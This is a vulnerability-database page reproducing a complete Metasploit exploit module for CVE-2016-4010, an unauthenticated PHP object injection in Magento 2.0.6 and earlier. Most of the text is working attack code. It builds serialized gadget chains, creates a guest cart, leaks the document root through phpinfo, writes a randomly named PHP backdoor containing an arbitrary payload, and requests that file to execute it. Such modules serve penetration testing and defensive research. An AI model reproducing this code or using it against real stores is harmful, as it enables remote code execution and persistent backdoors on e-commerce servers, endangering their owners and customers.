Lucene search
K

Magento 2.0.6 Unserialize Remote Code Execution

🗓️ 02 Jun 2016 14:24:10Reported by Netanel Rubin, agix, mr_me <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 33 Views

Magento 2.0.6 Unserialize Remote Code Execution modul

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Magento 2.0.6 Unserialize Remote Code Execution',
      'Description'    => %q{
        This module exploits a PHP object injection vulnerability in Magento 2.0.6
        or prior.
      },
      'Platform'       => 'php',
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Netanel Rubin',                         # original discovery
          'agix',                                  # original exploit
          'mr_me <mr_me[at]offensive-security.com>',  # metasploit module
        ],
      'Payload'        =>
        {
          'BadChars' => "\x22",
        },
      'References'     =>
        [
          ['CVE', '2016-4010'],
          ['EDB', '39838'],
          ['URL', 'http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/'],
          ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'],
          ['URL', 'https://magento.com/security/patches/magento-206-security-update']
        ],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Automatic Targeting', { 'auto' => true }  ],
        ],
      'DisclosureDate' => '2016-05-17',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
      ])
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def get_phpinfo
    # uses the Magento_Framework_DB_Transaction class
    serialize =  'O:13:\"Credis_Client\":22:{'
    serialize << 's:8:\"\u0000*\u0000redis\";'
    serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{'
    serialize << 's:9:\"\u0000*\u0000_order\";N;'
    serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;'
    serialize << 's:12:\"\u0000*\u0000_children\";N;'
    serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;'
    serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";b:1;'
    serialize << 's:14:\"\u0000*\u0000_isFailsafe\";'
    serialize << 'b:1;'
    serialize << 's:12:\"\u0000*\u0000_hasChild\";N;'
    serialize << 's:15:\"\u0000*\u0000_eventPrefix\";'
    serialize << 's:31:\"sales_order_payment_transaction\";'
    serialize << 's:15:\"\u0000*\u0000_eventObject\";'
    serialize << 's:25:\"order_payment_transaction\";'
    serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;'
    serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;'
    serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;'
    serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;'
    serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;'
    serialize << 's:18:\"\u0000*\u0000orderRepository\";N;'
    serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;'
    serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;'
    serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;'
    serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;'
    serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;'
    serialize << 's:15:\"\u0000*\u0000_idFieldName\";'
    serialize << 's:2:\"id\";'
    serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";'
    serialize << 'b:0;'
    serialize << 's:12:\"\u0000*\u0000_origData\";N;'
    serialize << 's:13:\"\u0000*\u0000_isDeleted\";'
    serialize << 'b:0;'
    serialize << 's:12:\"\u0000*\u0000_resource\";'
    serialize << 'O:32:\"Magento\\\Framework\\\DB\\\Transaction\":3:{'
    serialize << 's:11:\"\u0000*\u0000_objects\";'
    serialize << 'a:0:{}'
    serialize << 's:18:\"\u0000*\u0000_objectsByAlias\";'
    serialize << 'a:0:{}'
    serialize << 's:25:\"\u0000*\u0000_beforeCommitCallbacks\";'
    serialize << 'a:1:{'
    serialize << 'i:0;'
    serialize << 's:7:\"phpinfo\";}}' # the rub
    serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;'
    serialize << 's:16:\"\u0000*\u0000_resourceName\";N;'
    serialize << 's:18:\"\u0000*\u0000_collectionName\";N;'
    serialize << 's:12:\"\u0000*\u0000_cacheTag\";'
    serialize << 'b:0;'
    serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";'
    serialize << 'b:1;'
    serialize << 's:15:\"\u0000*\u0000_isObjectNew\";N;'
    serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;'
    serialize << 's:16:\"\u0000*\u0000_eventManager\";N;'
    serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;'
    serialize << 's:12:\"\u0000*\u0000_registry\";N;'
    serialize << 's:10:\"\u0000*\u0000_logger\";N;'
    serialize << 's:12:\"\u0000*\u0000_appState\";N;'
    serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;'
    serialize << 's:13:\"\u0000*\u0000storedData\";'
    serialize << 'a:0:{}'
    serialize << 's:8:\"\u0000*\u0000_data\";'
    serialize << 'a:0:{}}'
    serialize << 's:13:\"\u0000*\u0000redisMulti\";N;'
    serialize << 's:7:\"\u0000*\u0000host\";N;'
    serialize << 's:7:\"\u0000*\u0000port\";N;'
    serialize << 's:10:\"\u0000*\u0000timeout\";N;'
    serialize << 's:14:\"\u0000*\u0000readTimeout\";N;'
    serialize << 's:13:\"\u0000*\u0000persistent\";N;'
    serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";'
    serialize << 'b:1;'
    serialize << 's:12:\"\u0000*\u0000connected\";'
    serialize << 'b:1;'
    serialize << 's:13:\"\u0000*\u0000standalone\";N;'
    serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";'
    serialize << 'i:0;'
    serialize << 's:18:\"\u0000*\u0000connectFailures\";'
    serialize << 'i:0;'
    serialize << 's:14:\"\u0000*\u0000usePipeline\";'
    serialize << 'b:0;'
    serialize << 's:15:\"\u0000*\u0000commandNames\";N;'
    serialize << 's:11:\"\u0000*\u0000commands\";N;'
    serialize << 's:10:\"\u0000*\u0000isMulti\";'
    serialize << 'b:0;'
    serialize << 's:13:\"\u0000*\u0000isWatching\";'
    serialize << 'b:0;'
    serialize << 's:15:\"\u0000*\u0000authPassword\";N;'
    serialize << 's:13:\"\u0000*\u0000selectedDb\";'
    serialize << 'i:0;'
    serialize << 's:17:\"\u0000*\u0000wrapperMethods\";'
    serialize << 'a:3:{'
    serialize << 's:6:\"delete\";'
    serialize << 's:3:\"del\";'
    serialize << 's:7:\"getkeys\";'
    serialize << 's:4:\"keys\";'
    serialize << 's:7:\"sremove\";'
    serialize << 's:4:\"srem\";}'
    serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;'
    serialize << 's:11:\"\u0000*\u0000requests\";'
    serialize << 'i:0;}'

    serialize
  end

  def get_phpshell
    s = "#{@webroot}/#{@backdoor}"
    p = "<?php #{payload.encoded} ?>"
    # uses the Magento_Framework_Simplexml_Config_Cache_File class
    serialize  = 'O:13:\"Credis_Client\":22:{'
    serialize << 's:8:\"\u0000*\u0000redis\";'
    serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{'
    serialize << 's:9:\"\u0000*\u0000_order\";N;'
    serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;'
    serialize << 's:12:\"\u0000*\u0000_children\";N;'
    serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;'
    serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";'
    serialize << 'b:1;'
    serialize << 's:14:\"\u0000*\u0000_isFailsafe\";'
    serialize << 'b:1;s:12:\"\u0000*\u0000_hasChild\";N;'
    serialize << 's:15:\"\u0000*\u0000_eventPrefix\";'
    serialize << 's:31:\"sales_order_payment_transaction\";'
    serialize << 's:15:\"\u0000*\u0000_eventObject\";'
    serialize << 's:25:\"order_payment_transaction\";'
    serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;'
    serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;'
    serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;'
    serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;'
    serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;'
    serialize << 's:18:\"\u0000*\u0000orderRepository\";N;'
    serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;'
    serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;'
    serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;'
    serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;'
    serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;'
    serialize << 's:15:\"\u0000*\u0000_idFieldName\";'
    serialize << 's:2:\"id\";'
    serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";'
    serialize << 'b:0;'
    serialize << 's:12:\"\u0000*\u0000_origData\";N;'
    serialize << 's:13:\"\u0000*\u0000_isDeleted\";'
    serialize << 'b:0;'
    serialize << 's:12:\"\u0000*\u0000_resource\";'
    serialize << 'O:45:\"Magento\\\Framework\\\Simplexml\\\Config\\\Cache\\\File\":1:{'
    serialize << 's:8:\"\u0000*\u0000_data\";'
    serialize << 'a:3:{'
    serialize << 's:18:\"is_allowed_to_save\";'
    serialize << 'b:1;'
    serialize << 's:14:\"stat_file_name\";'
    serialize << "s:#{s.length.to_s}:\\\"#{s}\\\";"   # our shell
    serialize << 's:10:\"components\";'
    serialize << "s:#{p.length.to_s}:\\\"#{p}\\\";}}" # our payload
    serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;'
    serialize << 's:16:\"\u0000*\u0000_resourceName\";N;'
    serialize << 's:18:\"\u0000*\u0000_collectionName\";N;'
    serialize << 's:12:\"\u0000*\u0000_cacheTag\";'
    serialize << 'b:0;'
    serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";'
    serialize << 'b:1;s:15:\"\u0000*\u0000_isObjectNew\";N;'
    serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;'
    serialize << 's:16:\"\u0000*\u0000_eventManager\";N;'
    serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;'
    serialize << 's:12:\"\u0000*\u0000_registry\";N;'
    serialize << 's:10:\"\u0000*\u0000_logger\";N;'
    serialize << 's:12:\"\u0000*\u0000_appState\";N;'
    serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;'
    serialize << 's:13:\"\u0000*\u0000storedData\";'
    serialize << 'a:0:{}'
    serialize << 's:8:\"\u0000*\u0000_data\";'
    serialize << 'a:0:{}}'
    serialize << 's:13:\"\u0000*\u0000redisMulti\";N;'
    serialize << 's:7:\"\u0000*\u0000host\";N;'
    serialize << 's:7:\"\u0000*\u0000port\";N;'
    serialize << 's:10:\"\u0000*\u0000timeout\";N;s:14:\"\u0000*\u0000readTimeout\";N;'
    serialize << 's:13:\"\u0000*\u0000persistent\";N;'
    serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";'
    serialize << 'b:1;'
    serialize << 's:12:\"\u0000*\u0000connected\";'
    serialize << 'b:1;'
    serialize << 's:13:\"\u0000*\u0000standalone\";N;'
    serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";'
    serialize << 'i:0;'
    serialize << 's:18:\"\u0000*\u0000connectFailures\";'
    serialize << 'i:0;'
    serialize << 's:14:\"\u0000*\u0000usePipeline\";'
    serialize << 'b:0;'
    serialize << 's:15:\"\u0000*\u0000commandNames\";N;'
    serialize << 's:11:\"\u0000*\u0000commands\";N;'
    serialize << 's:10:\"\u0000*\u0000isMulti\";'
    serialize << 'b:0;'
    serialize << 's:13:\"\u0000*\u0000isWatching\";'
    serialize << 'b:0;'
    serialize << 's:15:\"\u0000*\u0000authPassword\";N;'
    serialize << 's:13:\"\u0000*\u0000selectedDb\";i:0;'
    serialize << 's:17:\"\u0000*\u0000wrapperMethods\";'
    serialize << 'a:3:{'
    serialize << 's:6:\"delete\";'
    serialize << 's:3:\"del\";'
    serialize << 's:7:\"getkeys\";'
    serialize << 's:4:\"keys\";'
    serialize << 's:7:\"sremove\";'
    serialize << 's:4:\"srem\";}'
    serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;'
    serialize << 's:11:\"\u0000*\u0000requests\";'
    serialize << 'i:0;}'

    serialize
  end

  def do_check
    data =  '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"'
    data << get_phpinfo
    data << "\"}},\"email\":\"#{@email}\"}"

    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
      'ctype'  => 'application/json',
      'data'   => data,
    })
  end

  def define_globals
    @phpsessid = Rex::Text.rand_text_alphanumeric(26)
    @form_key  = Rex::Text.rand_text_alphanumeric(26)
    @cookies   = "PHPSESSID=#{@phpsessid}; form_key=#{@form_key}"
    @email     = "#{@phpsessid}@#{@form_key}.com"
  end

  def check
    define_globals
    # we actually exploit the bug, but just for a callback
    begin
      if create_fake_cart
        if generate_cart_id
          # twice, because we need to setup the phpinfo callback using
          # the Magento_Framework_DB_Transaction() pop chain
          res = ""
          (0..1).step(1) do |n|
            res = do_check
          end
          if (res && res.body.include?('phpinfo()'))
            return Exploit::CheckCode::Appears
          else
            return Exploit::CheckCode::Safe
          end
        end
      end
    rescue ::Rex::ConnectionError => e
      vprint_error(e.message)
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Safe
  end

  def get_webroot
    data =  '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"'
    data << get_phpinfo
    data << "\"}},\"email\":\"#{@email}\"}"

    # we steal path via phpinfo
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
      'ctype'  => 'application/json',
      'data'   => data,
    })

    if res && res.code == 200
      @webroot = "#{$1}" if res.body =~ /_SERVER\["DOCUMENT_ROOT"\]<\/td><td class="v">(.*)<\/td><\/tr>/
      return true
    end

    false
  end

  def create_fake_cart
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, '/checkout/cart/add/uenc/\/product/1/'),
      'headers'  => { 'X-Requested-With' => 'XMLHttpRequest' },
      'cookie'   => @cookies,
      'vars_get' => { 'form_key' => @form_key }
    })

    return true if (res && res.body.include?('[]'))

    false
  end

  def generate_cart_id
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, '/checkout/cart/'),
      'cookie'   => @cookies,
    })
    if res && res.code == 200
      @guest_cart_id = "#{$1}" if res.body =~ /entity_id":"(.*)","store_id":\d,"created_at/
      return true
    end

    false
  end

  def backdoor
    data =  "{\"paymentMethod\":{\"method\":\"checkmo\",\"additional_data\":{\"additional_information\":\""
    data << get_phpshell
    data << "\"}},\"email\":\"#{@email}\"}"

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),
      'ctype'  => 'application/json',
      'data'   => data,
    })

    return true if (res && res.body.include?('true'))

    false
  end

  def exec_code
    send_request_raw({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "/#{@backdoor}"),
    }, timeout = 0.5)
  end

  def exploit
    define_globals
    @backdoor = "#{Rex::Text.rand_text_alphanumeric(26)}.php"
    register_files_for_cleanup("#{@backdoor}")
    if create_fake_cart && generate_cart_id
      print_good("generated a guest cart id")
      if get_webroot && backdoor
        print_good("backdoor done!")
        exec_code
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
1.3Low risk
Vulners AI Score1.3
CVSS 27.5
CVSS 39.8
EPSS0.86897
33